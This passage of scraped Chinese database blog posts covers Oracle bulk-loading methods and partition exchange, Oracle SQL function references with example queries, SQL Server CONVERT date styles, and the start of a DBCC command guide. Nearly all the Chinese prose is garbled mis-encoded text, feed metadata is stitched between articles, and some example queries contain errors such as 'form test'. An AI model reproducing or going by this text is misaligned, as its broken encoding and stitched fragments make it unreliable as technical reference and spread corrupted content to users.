path" 瀵煎叆閫夐」銆傚湪 "direct path" 瀵煎叆瀹炵幇涓紝紼嬪簭鍦ㄦ暟鎹簱琛ㄧ殑鏂版暟鎹潡鐨?high water mark 澶勭洿鎺ュ啓鍏ュ鍏ユ暟鎹紝緙╃煭浜嗘暟鎹彃鍏ョ殑澶勭悊鏃墮棿錛屽悓鏃朵紭鍖栦嬌鐢ㄤ簡闈炲父鏈夋晥鐨凚+浜屽弶鏍?wèi)鏂规硶鏉ユ洿鏂拌〃鐨勭储寮曘?br>    榪愮敤榪欑鏂規(guī)硶錛屽鏋滀嬌鐢ㄧ己鐪佺殑 conventional path 瀵煎叆閫夐」錛屾葷殑瀵煎叆鏃墮棿鏄?81 縐掞紝榪涚▼鍗犵敤 CPU 鏃墮棿澶х害鏄?12 縐掞紝榪欏寘鎷簡鏇存柊琛ㄧ殑绱㈠紩鏃墮棿銆傚鏋滀嬌鐢?direct path 瀵煎叆閫夐」錛屾葷殑瀵煎叆鏃墮棿绔熸槸 9 縐掞紝榪涚▼鍗犵敤 CPU 鏃墮棿涔熶粎浠呮槸 3 縐掞紝涔熷寘鎷簡鏇存柊琛ㄧ殑绱㈠紩鏃墮棿銆?br>    鐢辨鍙錛屽敖綆¤〃涓殑绱㈠紩鍦ㄦ暟鎹鍏ヤ箣鍓嶅茍娌℃湁琚垹闄わ紝浣跨敤SQL*Loader鐨刣irect path 瀵煎叆閫夐」浠嶇劧鏄揩閫熷拰鏈夋晥鐨勩傚綋鐒跺畠涔熸湁緙虹偣錛屽氨鍍廚OLOGGING鍏抽敭瀛椾竴鏍瘋鏂規(guī)硶涓嶇敓鎴怰EDO鏃ュ織鏁版嵁錛屽鍏ヨ繘紼嬪嚭閿欏悗灝嗘棤娉曟仮澶嶅埌鍏堝墠鐘舵侊紱鍦ㄦ暟鎹鍏ヨ繃紼嬩腑琛ㄧ殑绱㈠紩鏄笉璧蜂綔鐢ㄧ殑錛岀敤鎴鋒鏃惰闂琛ㄦ椂灝嗗嚭鐜拌繜緙擄紝褰撶劧鍦ㄦ暟鎹鍏ョ殑榪囩▼涓渶濂戒笉瑕佽鐢ㄦ埛璁塊棶琛ㄣ?/font>

鍒嗗尯浜ゆ崲 (Partition Exchange)
     浠ヤ笂璁ㄨ鐨勬暟鎹鍏ユ柟娉曢兘鏈変竴涓檺鍒訛紝灝辨槸瑕佹眰鐢ㄦ埛鍦ㄥ鍏ユ暟鎹畬鎴愪箣鍚庢墠鍙互璁塊棶鏁版嵁搴撹〃銆傞潰瀵?×24涓嶉棿鏂闂暟鎹簱鏉ヨ錛屽鏋滄垜浠彧鏄鍏ラ渶瑕佸鍔犵殑鏁版嵁鏃訛紝榪欑闄愬埗灝嗗鐢ㄦ埛鐨勫疄鏃惰闂駭鐢熷獎鍝嶃侽racle鍦ㄨ繖鏂歸潰鎻愪緵浜嗚〃鍒嗗尯鍔熻兘錛屽畠鍙互鍑忓皯瀵煎叆鏁版嵁鎿嶄綔瀵圭敤鎴峰疄鏃惰闂暟鎹殑褰卞搷錛屾搷浣滄ā寮忓氨璞′嬌鐢ㄥ彲鐑彃鎷旂殑紜洏涓鏍鳳紝鍙笉榪囪繖閲岀殑紜洏鎹㈡垚浜嗗垎鍖猴紙Partition錛夎屽凡銆傞渶瑕佸0鏄庣殑鏄?Partitioning 鍒嗗尯鍔熻兘鍙湁鍦ㄤ紒涓氱増鏁版嵁搴撲腑鎵嶆彁渚涖?br>    
鍦ㄤ竴涓鍒嗗尯榪囩殑琛ㄤ腑錛屽憟鐜扮粰鐢ㄦ埛鐨勮〃鏄涓垎鍖烘錛坰egments錛夌殑闆嗗悎銆傚垎鍖哄彲浠ュ湪闇瑕佹椂琚坊鍔狅紝鍦ㄧ淮鎶ゆ椂琚嵏杞芥垨鍒犻櫎錛屽垎鍖鴻〃鍙互鍜屾暟鎹簱涓殑琛ㄤ氦鎹㈡暟鎹紝鍙瀹冧滑鐨勮〃緇撴瀯鍜屽瓧孌電被鍨嬫槸涓鑷寸殑錛屼氦鎹㈠悗鐨勫垎鍖鴻〃灝嗘嫢鏈変笌涔嬩簰鍔ㄧ殑琛ㄧ殑鏁版嵁銆傞渶瑕佹敞鎰忕殑鏄紝榪欑浜ゆ崲鍙槸鍦∣racle鏁版嵁搴撶殑鏁版嵁瀛楀吀灞傞潰涓婅繘琛岋紝騫舵病鏈夋暟鎹瀹為檯縐誨姩錛屾墍浠ュ垎鍖鴻〃浜ゆ崲鏄瀬鍏跺揩閫熺殑銆?br>    涓轟簡鍒涘緩瀹為獙鐜錛屽厛鍋囪CALLS琛ㄦ槸涓垎鍖鴻〃錛岃鍒涘緩涓涓┖鐨勫垎鍖篜ART_01012004錛岀敤鏉ヤ繚瀛?004騫?鏈?鏃ョ殑鍛煎彨鏁版嵁銆傜劧鍚庨渶瑕佸啀鍒涘緩涓涓存椂琛ㄤ負(fù)CALLS_TEMP錛岃琛ㄤ笌CALLS琛ㄦ嫢鏈夌浉鍚岀殑瀛楁鍜屾暟鎹被鍨嬨?br>    鎴戜滑浣跨敤鍏堝墠浠嬬粛鐨勫鍏ユ柟娉曞皢鍗佷竾鏉℃暟鎹鍏ュ埌CALLS_TEMP琛ㄤ腑錛屽彲浠ヨ愬績絳夊緟鏁版嵁瀹屽叏瀵煎叆鍒癈ALLS_TEMP琛ㄤ腑錛屽茍涓斿垱寤哄ソ绱㈠紩鍜岀浉鍏崇害鏉熸潯浠訛紝鎵鏈夎繖涓鍒囨搷浣滃茍涓嶅獎鍝嶇敤鎴峰疄鏃惰闂瓹ALLS琛紝鍥犱負(fù)鎴戜滑鍙CALLS_TEMP涓存椂琛ㄨ繘琛屼簡鎿嶄綔銆備竴鏃︽暟鎹鍏ュ畬鎴愶紝CALLS_TEMP琛ㄥ氨瀛樻湁2004騫?鏈?鏃ョ殑鍛煎彨鏁版嵁銆傚悓鏃跺埄鐢–ALLS琛ㄤ腑鍚嶄負(fù)PART_01012004鐨勭┖鍒嗗尯錛屼嬌鐢ㄥ涓嬭鍙ユ墽琛屽垎鍖轟氦鎹細(xì)
        ALTER   TABLE   calls          EXCHANGE   PARTITION   part_01012004 WITH   TABLE calls_temp          INCLUDING   INDEXES   WITHOUT   VALIDATION;
     鍒嗗尯浜ゆ崲鎿嶄綔灝嗛潪甯稿揩閫熷湴鍙洿鏂癈ALLS琛ㄧ殑鏁版嵁瀛楀吀錛孭ART_01012004鍒嗗尯琛ㄥ嵆鍒繪嫢鏈塁ALLS_TEMP琛ㄧ殑鎵鏈夋暟鎹紝鑰孋ALLS_TEMP琛ㄥ彉涓虹┖琛ㄣ傚亣瀹欳ALLS琛ㄤ嬌鐢ㄥ眬閮ㄧ儲寮曡岄潪鍏ㄥ眬绱㈠紩錛屼笂榪拌鍙ヤ腑鐨処NCLUDING INDEXES灝嗕繚璇佸垎鍖轟氦鎹㈠寘鎷儲寮曠殑鍙敤鎬э紝W(xué)ITHOUT VALIDATION 鎸囨槑涓嶆鏌ヤ氦鏇胯〃涓暟鎹殑鍖歸厤錛屽姞蹇簡浜ゆ崲鐨勯熷害銆?/font>

緇撹
     浠ヤ笂鎺㈣浜哋racle鏁版嵁搴撶殑澶氱鏁版嵁瀵煎叆鏂規(guī)硶錛屾瘡縐嶆柟娉曢兘鏈夊叾浼樼己鐐瑰拰閫傜敤鐜錛岃兘澶熸弧瓚充綘涓嶅悓鐨勫鍏ラ渶姹傦紝褰撶劧浣犻渶瑕佸湪浜嗚В浜嗚繖浜涙柟娉曞悗錛屽湪閫熷害銆佺畝鏄撴с佺伒媧繪с佸彲鎭㈠鎬у拰鏁版嵁鍙敤鎬т箣闂村姹傛渶浣?jīng)_鍏ユ柟妗堛?/font>

     涓轟簡瀵規(guī)瘮鍚勭鏂規(guī)硶鐨勬晥鏋滐紝鎴戜滑鍒涘緩浜嗕竴涓疄渚嬫潵灞曠ず鍚勭鏂規(guī)硶鐨勫鍏ユ晥鐜囧拰鏁堟灉錛屼粠涓綘鍙互閫夋嫨鏈閫傚悎鐨勬柟娉曠敤浜庝粖鍚庣殑鏁版嵁瀵煎叆宸ヤ綔銆傚悓鏃惰璁頒綇錛屾湰鏂囧茍鏈泭鎷墍鏈夌殑ORACLE鏁版嵁瀵煎叆鎶鏈紙姣斿騫惰鏁版嵁瀵煎叆鎶鏈級錛岃繖闇瑕佹垜浠戶緇笉鎳堢殑鎺㈢儲鍜屽皾璇曘?

鏁版嵁瀵煎叆鏂規(guī)硶 鎬諱綋瀵煎叆鏃墮棿(縐? 瀵煎叆榪涚▼鍗犵敤CPU鏃墮棿(縐?
閫愭潯鏁版嵁鎻掑叆INSERT 172   52
閫愭潯鏁版嵁鎻掑叆INSERT錛岃〃鏆傛棤绱㈠紩 130   35
鎵歸噺鎻掑叆錛岃〃鏆傛棤绱㈠紩   14   7
Create As Select錛屼嬌鐢∣racle9i鐨凟xternal Table 15 8
INSERT Append as SELECT錛屼嬌鐢∣racle9i鐨凟xternal Table   15 8
SQL*Loader conventional path 緙虹渷瀵煎叆閫夐」 81   12
SQL*Loader direct path 瀵煎叆閫夐」   9   3

鏁板煎嚱鏁幫細(xì)
abs(m) m鐨勭粷瀵瑰?
mod(m,n) m琚玭闄ゅ悗鐨勪綑鏁?
power(m,n) m鐨刵嬈℃柟
round(m[,n]) m鍥涜垗浜斿叆鑷沖皬鏁扮偣鍚巒浣嶇殑鍊鹼紙n緙虹渷涓?錛?
trunc(m[,n]) m鎴柇n浣嶅皬鏁頒綅鐨勫鹼紙n緙虹渷涓?錛?


瀛楃鍑芥暟錛?
initcap(st) 榪斿洖st灝嗘瘡涓崟璇嶇殑棣栧瓧姣嶅ぇ鍐欙紝鎵鏈夊叾浠栧瓧姣嶅皬鍐?
lower(st) 榪斿洖st灝嗘瘡涓崟璇嶇殑瀛楁瘝鍏ㄩ儴灝忓啓
upper(st) 榪斿洖st灝嗘瘡涓崟璇嶇殑瀛楁瘝鍏ㄩ儴澶у啓
concat(st1,st2) 榪斿洖st涓簊t2鎺t1鐨勬湯灝撅紙鍙敤鎿嶄綔絎?||"錛?
lpad(st1,n[,st2]) 榪斿洖鍙沖榻愮殑st,st涓哄湪st1鐨勫乏杈圭敤st2濉厖鐩磋嚦闀垮害涓簄,st2鐨勭己鐪佷負(fù)絀烘牸
rpad(st1,n[,st2]) 榪斿洖宸﹀榻愮殑st,st涓哄湪st1鐨勫彸杈圭敤st2濉厖鐩磋嚦闀垮害涓簄,st2鐨勭己鐪佷負(fù)絀烘牸
ltrim(st[,set]) 榪斿洖st,st涓轟粠宸﹁竟鍒犻櫎set涓瓧絎︾洿鍒扮涓涓笉鏄痵et涓殑瀛楃銆傜己鐪佹椂錛屾寚鐨勬槸絀烘牸
rtrim(st[,set]) 榪斿洖st,st涓轟粠鍙寵竟鍒犻櫎set涓瓧絎︾洿鍒扮涓涓笉鏄痵et涓殑瀛楃銆傜己鐪佹椂錛屾寚鐨勬槸絀烘牸
replace(st,search_st[,replace_st]) 灝嗘瘡嬈″湪st涓嚭鐜扮殑search_st鐢╮eplace_st鏇挎崲錛岃繑鍥炰竴涓猻t銆傜己鐪佹椂錛屽垹闄earch_st
substr(st,m[,n]) n=榪斿洖st涓茬殑瀛愪覆錛屼粠m浣嶇疆寮濮嬶紝鍙杗涓瓧絎﹂暱銆傜己鐪佹椂錛屼竴鐩磋繑鍥炲埌st鏈
length(st) 鏁板鹼紝榪斿洖st涓殑瀛楃鏁?
instr(st1,st2[,m[,n]]) 鏁板鹼紝榪斿洖st1浠庣m瀛楃寮濮嬶紝st2絎琻嬈″嚭鐜扮殑浣嶇疆錛宮鍙妌鐨勭己鐪佸間負(fù)1
渚嬶細(xì)
1.
select initcap('THOMAS'),initcap('thomas') from test;
initca initca
------ ------
Thomas Thomas
2.
select concat('abc','def') "first" from test;
first
-----
abcdef
3.
select 'abc'||' '||'def' "first" from test;
first
-----
abc def
4.
select lpad(name,10),rpad(name,5,'*') from test;
lpad(name,10) rpad(name,5,'*')
------------ ----------------
mmx mmx**
abcdef abcde
5.
鍘繪帀鍦板潃瀛楁鏈鐨勭偣鍙婂崟璇峴t鍜宺d
select rtrim(address,'. st rd') from test
6.
select name,replace(name,'a','*') from test;
name replace(name,'a','*')
---- ---------------------
great gre*t
7.
select substr('archibald bearisol',6,9) a,substr('archibald bearisol',11) b from test;
a b
------- -------
bald bear bearisol
8.
select name,instr(name,' ') a,instr(name,' ',1,2) b from test;
name a b
------- -------- ---------
li lei 3 0
l i l 2 4

杞崲鍑芥暟錛?
nvl(m,n) 濡傛灉m鍊間負(fù)null,榪斿洖n,鍚﹀垯榪斿洖m
to_char(m[,fmt]) m浠庝竴涓暟鍊艱漿鎹負(fù)鎸囧畾鏍煎紡鐨勫瓧絎︿覆fmt緙虹渷鏃訛紝fmt鍊肩殑瀹藉害姝eソ鑳藉綰蟲墍鏈夌殑鏈夋晥鏁板瓧
to_number(st[,fmt]) st浠庡瓧絎﹀瀷鏁版嵁杞崲鎴愭寜鎸囧畾鏍煎紡鐨勬暟鍊鹼紝緙虹渷鏃舵暟鍊兼牸寮忎覆鐨勫ぇ灝忔濂戒負(fù)鏁翠釜鏁?
闄勶細(xì)
to_char()鍑芥暟鐨勬牸寮忥細(xì)
---------------------------------
絎﹀彿 璇存槑
---------------------------------
9 姣忎釜9浠h〃緇撴灉涓殑涓浣嶆暟瀛?
0 浠h〃瑕佹樉紺虹殑鍏堝0
$ 緹庡厓絎﹀彿鎵撳嵃鍦ㄦ暟鐨勫乏杈?
L 浠繪剰鐨勫綋鍦拌揣甯佺鍙?
. 鎵撳嵃鍗佽繘鍒剁殑灝忔暟鐐?
, 鎵撳嵃浠h〃鍗冨垎浣嶇殑閫楀彿
---------------------------------
渚嬶細(xì)
1.
select to_number('123.45')+to_number('234.56') form test;
to_number('123.45')+to_number('234.56')
----------------------------------------
358.01
2.
select to_char(987654321) from test;
to_char(987654321)
------------------
987654321
3.
select to_char(123,'$9,999,999') a,to_char(54321,'$9,999,999') b,to_char(9874321,'$9,999,999') c from test;
a b c
------- ---------- -----------
$123 $54,321 $9,874,321
4.
select to_char(1234.1234,'999,999.999') a,to_char(0.4567,'999,999.999') b,to_char(1.1,'999,999.999') from test;
a b c
--------- ---------- ------------
1,234.123 .457 1.100


鍒嗙粍鍑芥暟錛?
avg([distinct/all] n) 鍒梟鐨勫鉤鍧囧?
count([all] *) 榪斿洖鏌ヨ鑼冨洿鍐呯殑琛屾暟鍖呮嫭閲嶅鍊煎拰絀哄?
count([distinct/all] n) 闈炵┖鍊肩殑琛屾暟
max([distinct/all] n) 璇ュ垪鎴栬〃杈懼紡鐨勬渶澶у?
min([distinct/all] n) 璇ュ垪鎴栬〃杈懼紡鐨勬渶灝忓?
stdev([distinct/all] n) 璇ュ垪鎴栬〃杈懼紡鐨勬爣鍑嗗亸宸紝蹇界暐絀哄?
sum([distinct/all] n) 璇ュ垪鎴栬〃杈懼紡鐨勬誨拰
variance([distinct/all] n) 璇ュ垪鎴栬〃杈懼紡鐨勬柟宸紝蹇界暐絀哄?

鏃ユ湡鍑芥暟錛?
add_months(d,n) 鏃ユ湡d鍔爊涓湀
last_day(d) 鍖呭惈d鐨勬湀浠界殑鏈鍚庝竴澶╃殑鏃ユ湡
month_between(d,e) 鏃ユ湡d涓巈涔嬮棿鐨勬湀浠芥暟錛宔鍏堜簬d
new_time(d,a,b) a鏃跺尯鐨勬棩鏈熷拰鏃墮棿d鍦╞鏃跺尯鐨勬棩鏈熷拰鏃墮棿
next_day(d,day) 姣旀棩鏈焏鏅氾紝鐢眃ay鎸囧畾鐨勫懆鍑犵殑鏃ユ湡
sysdate 褰撳墠鐨勭郴緇熸棩鏈熷拰鏃墮棿
greatest(d1,d2,...dn) 緇欏嚭鐨勬棩鏈熷垪琛ㄤ腑鏈鍚庣殑鏃ユ湡
least(d1,k2,...dn) 緇欏嚭鐨勬棩鏈熷垪琛ㄤ腑鏈鏃╃殑鏃ユ湡
to_char(d [,fmt]) 鏃ユ湡d鎸塮mt鎸囧畾鐨勬牸寮忚漿鍙樻垚瀛楃涓?
to_date(st [,fmt]) 瀛楃涓瞫t鎸塮mt鎸囧畾鐨勬牸寮忚漿鎴愭棩鏈熷鹼紝鑻mt蹇界暐錛宻t瑕佺敤緙虹渷鏍煎紡
round(d [,fmt]) 鏃ユ湡d鎸塮mt鎸囧畾鏍煎紡鑸嶅叆鍒版渶榪戠殑鏃ユ湡
trunc(d [,fmt]) 鏃ユ湡d鎸塮mt鎸囧畾鏍煎紡鎴柇鍒版渶榪戠殑鏃ユ湡
闄勶細(xì)
鏃ユ湡鏍煎紡錛?
錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞
鏍煎紡浠g爜銆 璇存槑 涓句緥鎴栧彲鍙栧肩殑鑼冨洿
錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞
DD 璇ユ湀鏌愪竴澶?1錛?
DY 銆銆銆涓変釜澶у啓瀛楁瘝琛ㄧず鐨勫懆鍑?SUN錛?..SAT
DAY 銆銆銆瀹屾暣鐨勫懆鍑狅紝澶у啓鑻辨枃 SUNDAY錛?..SATURDAY
MM 鏈堜喚 1錛?2
MON銆銆銆銆銆 涓変釜澶у啓瀛楁瘝琛ㄧず鐨勬湀浠?JAN錛?..DEC
MONTH 瀹屾暣 JANUARY,...DECEMBER
RM 鏈堜喚鐨勭綏椹暟瀛?I,...XII
YY鎴朰YYY 涓や綅錛屽洓浣嶆暟瀛楀勾
HH:MI:SS銆銆銆鏃訛細(xì)鍒嗭細(xì)縐?
HH12鎴朒H24銆銆浠?2灝忔椂鎴?4灝忔椂鏄劇ず
MI銆銆銆銆銆銆鍒?
SS銆銆銆銆銆銆縐?
AM鎴朠M銆銆銆銆涓婁笅鍗堟寚紺虹
SP銆銆銆銆銆銆鍚庣紑SP瑕佹眰鎷煎啓鍑轟換浣曟暟鍊煎瓧孌?
TH銆銆銆銆銆銆鍚庣紑TH琛ㄧず娣誨姞鐨勬暟瀛楁槸搴忔暟銆4th,1st
FM 鍓嶇紑瀵規(guī)湀鎴栨棩鎴栧勾鍊鹼紝紱佹濉厖
錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛嶏紞錛?
渚嬶細(xì)
1.
涓嬩竴涓懆浜旂殑鏃ユ湡
select next_day(sysdate,6) from test;
2.
涓や釜鏈堝墠鐨勪粖澶╃殑鏃ユ湡
select add_months(sysdate,-2) from test;





]]>
SQL Server 鏃ユ湡鏍煎紡杞崲(Convert鐢ㄦ硶)DBCC鍛戒護(hù)璇﹁Вhttp://m.tkk7.com/19851985lili/articles/110326.html鈽溾櫏鈽濵engChuChen鈽溾櫏鈽濵engChuChenFri, 13 Apr 2007 00:31:00 GMThttp://m.tkk7.com/19851985lili/articles/110326.htmlhttp://m.tkk7.com/19851985lili/comments/110326.htmlhttp://m.tkk7.com/19851985lili/articles/110326.html#Feedback0http://m.tkk7.com/19851985lili/comments/commentRss/110326.htmlhttp://m.tkk7.com/19851985lili/services/trackbacks/110326.htmlSQL Server 鏃ユ湡鏍煎紡杞崲(Convert鐢ㄦ硶

       SQL Server涓紝Convert鍙互灝嗘棩鏈熻漿鎹㈡垚涓嶅悓鏍煎紡錛屾牸寮忔帶鍒舵槸鐢盋ONVERT (data_type[(length)], expression [, style])涓殑style鏉ュ畬鎴愮殑銆備笅闈㈠垪鍑轟簡style鍙栧悇縐嶅兼椂鐨勬晥鏋滐細(xì)

        鍦ㄨ〃涓紝宸︿晶鐨勪袱鍒楄〃紺哄皢 datetime 鎴?smalldatetime 杞崲涓哄瓧絎︽暟鎹殑 style 鍊箋傜粰 style 鍊煎姞 100錛屽彲鑾峰緱鍖呮嫭涓栫邯鏁頒綅鐨勫洓浣嶅勾浠?(yyyy)銆?/p>

涓嶅甫涓栫邯鏁頒綅 (yy) 甯︿笘綰暟浣?(yyyy)
鏍囧噯

杈撳叆/杈撳嚭**
- 0 鎴?100 (*) 榛樿鍊?/td> mon dd yyyy hh:miAM錛堟垨 PM錛?/td>
1 101 緹庡浗 mm/dd/yyyy
2 102 ANSI yy.mm.dd
3 103 鑻卞浗/娉曞浗 dd/mm/yy
4 104 寰峰浗 dd.mm.yy
5 105 鎰忓ぇ鍒?/td> dd-mm-yy
6 106 - dd mon yy
7 107 - mon dd, yy
8 108 - hh:mm:ss
- 9 鎴?109 (*) 榛樿鍊?+ 姣 mon dd yyyy hh:mi:ss:mmmAM錛堟垨 PM錛?/td>
10 110 緹庡浗 mm-dd-yy
11 111 鏃ユ湰 yy/mm/dd
12 112 ISO yymmdd
- 13 鎴?113 (*) 嬈ф床榛樿鍊?+ 姣 dd mon yyyy hh:mm:ss:mmm(24h)
14 114 - hh:mi:ss:mmm(24h)
- 20 鎴?120 (*) ODBC 瑙勮寖 yyyy-mm-dd hh:mm:ss[.fff]
- 21 鎴?121 (*) ODBC 瑙勮寖錛堝甫姣錛?/td> yyyy-mm-dd hh:mm:ss[.fff]
- 126(***) ISO8601 yyyy-mm-dd Thh:mm:ss:mmm錛堜笉鍚┖鏍鹼級
- 130* 縐戝▉鐗?/td> dd mon yyyy hh:mi:ss:mmmAM
- 131* 縐戝▉鐗?/td> dd/mm/yy hh:mi:ss:mmmAM

*      榛樿鍊鹼紙style 0 鎴?100銆? 鎴?109銆?3 鎴?113銆?0 鎴?120銆?1 鎴?121錛夊緇堣繑鍥炰笘綰暟浣?(yyyy)銆?br>** 褰撹漿鎹負(fù) datetime 鏃惰緭鍏ワ紱褰撹漿鎹負(fù)瀛楃鏁版嵁鏃惰緭鍑恒?br>*** 涓撻棬鐢ㄤ簬 XML銆傚浜庝粠 datetime 鎴?smalldatetime 鍒?character 鏁版嵁鐨勮漿鎹紝杈撳嚭鏍煎紡濡傝〃涓墍紺恒傚浜庝粠 float銆?strong>money 鎴?smallmoney 鍒?character 鏁版嵁鐨勮漿鎹紝杈撳嚭絳夊悓浜?style 2銆傚浜庝粠 real 鍒?character 鏁版嵁鐨勮漿鎹紝杈撳嚭絳夊悓浜?style 1銆?/p>

閲嶈    榛樿鎯呭喌涓嬶紝SQL Server 鏍規(guī)嵁鎴騫翠喚 2049 瑙i噴涓や綅鏁板瓧鐨勫勾浠姐傚嵆錛屼袱浣嶆暟瀛楃殑騫翠喚 49 琚В閲婁負(fù) 2049錛岃屼袱浣嶆暟瀛楃殑騫翠喚 50 琚В閲婁負(fù) 1950銆傝澶氬鎴風(fēng)搴旂敤紼嬪簭錛堜緥濡傞偅浜涘熀浜?OLE 鑷姩鍖栧璞$殑瀹㈡埛绔簲鐢ㄧ▼搴忥級閮戒嬌鐢?2030 浣滀負(fù)鎴騫翠喚銆係QL Server 鎻愪緵涓涓厤緗夐」錛?涓や綅鏁板瓧鐨勬埅姝㈠勾浠?錛夛紝鍊熶互鏇存敼 SQL Server 鎵浣跨敤鐨勬埅姝㈠勾浠藉茍瀵規(guī)棩鏈熻繘琛屼竴鑷存у鐞嗐傜劧鑰屾渶瀹夊叏鐨勫姙娉曟槸鎸囧畾鍥涗綅鏁板瓧騫翠喚銆?/p>

 

        褰撲粠 smalldatetime 杞崲涓哄瓧絎︽暟鎹椂錛屽寘鍚鎴栨縐掔殑鏍峰紡灝嗗湪榪欎簺浣嶇疆涓婃樉紺洪浂銆傚綋浠?datetime 鎴?smalldatetime 鍊艱繘琛岃漿鎹㈡椂錛屽彲浠ラ氳繃浣跨敤閫傚綋鐨?char 鎴?varchar 鏁版嵁綾誨瀷闀垮害鏉ユ埅鏂笉闇瑕佺殑鏃ユ湡閮ㄥ垎銆?/p>

       濡傛灉鎯沖幓鎺夊瓧絎︿覆涓殑鍒嗛殧絎︼紝鍙互鐢╮eplace鍑芥暟銆傛瘮濡傦細(xì)replace(replace(replace(replace(convert(varchar(30),getdate(),121),'-',''),' ',''),':',''),'.','')

DBCC鍛戒護(hù)璇﹁В

         鎴戜滑鐭ラ亾錛屽湪鏁版嵁搴撶郴緇熺殑寮鍙戝拰搴旂敤涓紝蹇呴』淇濊瘉鏁版嵁搴撶殑瀹屾暣鎬у拰涓鑷存с?
褰撴暟鎹簱鍑虹幇浜嗕弗閲嶉敊璇紱褰撴垜浠鐤戞暟鎹簱鍙楀埌鐮村潖錛堝鏃犳硶鐢╠rop鍛戒護(hù)鍒犻櫎鏁版嵁搴撴垨瀵硅薄錛屼嬌鐢ㄦ煇涓〃鏃跺嚭鐜?#8220;涓嶅彲闈犳暟鎹?#8221;鐨勪俊鎭瓑錛夛紱褰撶敤鎴鋒敼鍙樹簡Server鐨勭己鐪佹帓搴忕殑欏哄簭鎴栨敼鍙樹簡瀛楃闆嗚岄渶瑕佹鏌ワ紱褰揝A瀵圭郴緇熷仛瀹氭湡媯鏌ワ紱榪欎簺鏃跺欙紝鎴戜滑閮介渶瑕佷嬌鐢ㄦ暟鎹簱涓鑷存ф鏌ュ伐鍏鳳紙Database Consistenecy Checker錛岀畝縐癉BCC錛夈侱BCC鏄竴涓疄鐢ㄥ懡浠ら泦錛岀敤鏉ユ鏌ヤ竴涓暟鎹簱鐨勯昏緫涓鑷存у強鐗╃悊涓鑷存с傚湪寮鍙戝拰搴旂敤涓紝DBCC鏄垜浠粡甯歌浣跨敤鐨勫懡浠ゃ?

銆銆DBCC鍛戒護(hù)鐨勬牸寮忓涓?nbsp; 

dbcc
(checktable ((琛ㄥ悕|琛ㄦ爣璇? [, skip_ncindex] ) |
checkdb [(鏁版嵁搴撳悕[, skip_ncindex] )] |
checkalloc [ (鏁版嵁搴撳悕[, fix | nofix] )] |
tablealloc( {琛ㄥ悕|琛ㄦ爣璇唥
[錛寋full |optimized |fast |null}
[, fix |nofix] ]]) |
indexalloc ( {琛ㄥ悕|琛ㄦ爣璇唥錛岀儲寮曟爣璇?br>[錛寋full |optimezed | fast | null}
[, fix |nofix ]] ) |
checkcatalog [ (鏁版嵁搴撳悕)] |
dbrepair(鏁版嵁搴撳悕,dropdb ) |
reindex({琛ㄥ悕|琛ㄦ爣璇唥 ) |
fix_text({琛ㄥ悕|琛ㄦ爣璇? }  

銆銆dbcc鐨勬潈闄愶紝瀵逛簬checktable,fix_text鍜宺eindex鏄己鐪佽祴緇欒〃鐨勫睘涓伙紝瀵逛簬checkdb,checkalloc錛宑heckcatalog,dbrepair錛宨ndexalloc鍜宼ablealloc錛屾槸緙虹渷璧嬬粰鏁版嵁搴撳睘涓葷殑銆侱BO鑷姩鑾峰緱DBCC鍛戒護(hù)鍜屽叏閮ㄩ夐」鐨勬潈闄愩傝鏉冮檺涓嶅彲杞巿銆傛澶栵紝dbcc鍦ㄦ暟鎹簱鏄椿鍔ㄦ椂榪愯錛岄櫎浜哾brepair閫夐」鍜屽甫鏈塮ix閫夐」鐨刣bcc checkalloc浠ュ銆?

銆銆checktable閫夐」

銆銆checktable鏄敤鏉ュ涓涓寚瀹氱殑琛ㄥ仛媯鏌ワ紝紜繚绱㈠紩鍜屾暟鎹〉姝g‘鍦拌繛鎺ワ紝绱㈠紩鎸夋紜殑欏哄簭瀛樺偍錛屾墍鏈夋寚閽堢殑涓鑷存э紝姣忛〉涓婃暟鎹俊鎭殑鍚堢悊鎬э紝欏靛亸縐葷殑鍚堢悊鎬с傚鏋滄棩蹇楁鍦ㄥ畠鑷繁鐨勶紙鏃ュ織錛夎澶囦笂錛屽syslogs琛ㄤ嬌鐢╠bcc checktable鍛戒護(hù)鍙互鎶ュ憡宸蹭嬌鐢ㄧ殑鍜屽墿浣欑殑鏃ュ織絀洪棿錛屼嬌鐢╯kip_ncindex閫夐」浣垮緱dbcc checktable璺寵繃瀵圭敤鎴瘋〃涓婇潪鑱氱皣绱㈠紩錛坣onclustered index錛夌殑媯鏌ャ傜己鐪佹槸媯鏌ユ墍鏈夌殑绱㈠紩銆?

銆銆渚嬶紤.媯鏌ユ棩蹇椾嬌鐢ㄧ殑絀洪棿閲忓拰鏈敤鐨勭┖闂撮噺錛?

dbcc checktable (syslogs)  

銆銆鑻ユ棩蹇楁鍦ㄦ棩蹇楄澶囦笂錛屽垯浼?xì)杩斿洖濡備笅淇℃伅锛?xì)

checking syslogs
The total number of data page in the table is 1.
NOTICE:Space used on the log segment is 0.20 Mbytes, 0.13%.
NOTICE:Space free on the log segment is 153.4Mbytes,99.87%.
DBCC execution Completed.If dbcc printed error messages,
Contact a user with SA role.  

銆銆鑻ユ棩蹇椾笉鍦ㄥ畠鑷繁鐨勮澶囦笂錛屽垯浼?xì)鏄窘C轟笅鍒椾俊鎭細(xì)

NOTICE:Notification of log space used/free.
Can not be reported because the log segment is not on its own device.
渚?. dbcc checktable (titles)
The total number of data page in this table is 3.
Table has 18 data rows.
DBCC execution Completed. If DBCC printed error messages. contact a user with SA role.  

銆銆checkdb閫夐」

銆銆榪愯checkdb閫夐」鍚宑hecktable媯鏌ョ殑鍐呭涓鏍鳳紝浣嗗畠鏄涓鎸囧畾鏁版嵁搴撲腑鐨勬瘡寮犺〃閮藉仛榪欐牱鐨勬鏌ャ傝嫢鏈寚瀹氭暟鎹簱鍚嶏紝checkdb媯鏌ュ綋鍓嶇殑鏁版嵁搴撱俢heckdb榪斿洖鐨勪俊鎭紝涔熷悓浜巆hecktable銆?

銆銆checkalloc閫夐」

